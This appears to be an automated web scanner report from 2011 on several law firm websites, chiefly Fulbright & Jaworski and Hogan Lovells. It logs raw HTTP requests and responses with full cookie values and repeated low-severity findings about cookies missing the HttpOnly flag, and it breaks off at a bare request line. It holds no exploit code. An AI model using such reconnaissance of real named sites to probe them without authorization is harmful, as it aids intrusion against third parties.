GET /languages HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:51:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A51%3A50%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1351%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:51:50 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /news/act_ticker_xml.cfm HTTP/1.1 Host: www.fulbright.com Proxy-Connection: keep-alive Referer: http://www.fulbright.com/fjLib/media/flash/news/newsTicker.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=24113095; CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2%23cftoken%3D35971701%23cfid%3D24113095%23
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A48%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D3%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:48 GMT;path=/ Content-Type: text/xml
<images>
<item> <news>Fulbright Partner Named Best FCPA Lawyer Outside of D.C.</news> <url>http://www.fulbright.com/index.cfm?fuseaction=news.detail&article_id=9405&site_id=286< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /newsTicker.swf HTTP/1.1 Host: www.fulbright.com Proxy-Connection: keep-alive Referer: http://www.fulbright.com/dc Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=24113095; CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:46 GMT;path=/ Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /newyork HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:55:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A55%3A29%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2404%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:55:29 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offices HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:51:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A51%3A14%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1160%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:51:14 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /rss HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:52:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A52%3A42%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1602%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:52:42 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /seminars/act_eventbanner_xml.cfm HTTP/1.1 Host: www.fulbright.com Proxy-Connection: keep-alive Referer: http://www.fulbright.com/fjLib/media/flash/events/eventsBanner_03.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=24113095; CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2%23cftoken%3D35971701%23cfid%3D24113095%23
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A48%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D3%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:48 GMT;path=/ Content-Type: text/xml
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /technology HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A17%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D393%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:17 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.haledorr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.hhlaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<head><title>Document Moved</title></head> <body><h1>Object Moved</h1>This document may be found <a HREF="http://www.hoganlovells.com/">here</a></body>
The following cookie was issued by the application and does not have the HttpOnly flag set:
SERVERID=i-3f76e457; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.hldataprotection.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:57:48 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Last-Modified: Sat, 15 Jan 2011 19:01:22 GMT Accept-Ranges: bytes Vary: Accept-Encoding Connection: close Content-Type: text/html Set-Cookie: SERVERID=i-3f76e457; path=/ Cache-control: private Content-Length: 69980
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta ht ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.hoganlovells.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /AboutUs/Online_Client_Service/Overview/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
...var enterKeyButtonSearch = ""; var typeAheadParentID = ""; var typeAheadList = "#nameTypeAhead"; var AttorneyTypeAheadWS = "/FCWSite/HoganHartsonWS/HHWebServices.asmx"; var disableTypeAheadBlur ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
//v1.7 // Flash Player Version Detection // Detect Client Browser type // Copyright 2005-2007 Adobe Systems Incorporated. All rights reserved. var isIE = (navigator.appVersion.indexOf("MSIE") != ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
...// Styles for browser specific versions. document.writeln("<style type=\"text/css\">"); // Not IE Browsers if (!$.browser.msie) { document.writeln("body .header .topnav ul li.on {background ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
// SpamProof jscript methods //To be used to prevent spammers from grabbing email addresses from a website // //Example: //For more information contact our <Script language="JavaScript">PrintMail( ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /aboutus/history/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /aboutus/overview/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head><meta name="description" content="Hogan Lovells is a law firm that sees the whole picture an ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /de/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /es/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /fr/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
The following cookie was issued by the application and does not have the HttpOnly flag set:
DefaultCulture=en-US; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
/* Copyright (c) 2008, Yahoo! Inc. All rights reserved. Code licensed under the BSD License: http://developer.yahoo.net/yui/license.txt version: 2.6.0 */ YAHOO.util.Color=function(){var A="0123456789A ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
/* Copyright (c) 2008, Yahoo! Inc. All rights reserved. Code licensed under the BSD License: http://developer.yahoo.net/yui/license.txt version: 2.6.0 */ (function(){YAHOO.util.Config=function(D){if(D ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
/* Copyright (c) 2008, Yahoo! Inc. All rights reserved. Code licensed under the BSD License: http://developer.yahoo.net/yui/license.txt version: 2.6.0 */ YAHOO.widget.Slider=function(C,A,B,D){YAHOO.wi ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
/* Copyright (c) 2008, Yahoo! Inc. All rights reserved. Code licensed under the BSD License: http://developer.yahoo.net/yui/license.txt version: 2.6.0 */ if(typeof YAHOO=="undefined"||!YAHOO){var YAHO ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /industries/ HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head><meta name="description" content="Hogan Lovells depth of experience, global reach, and compr ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
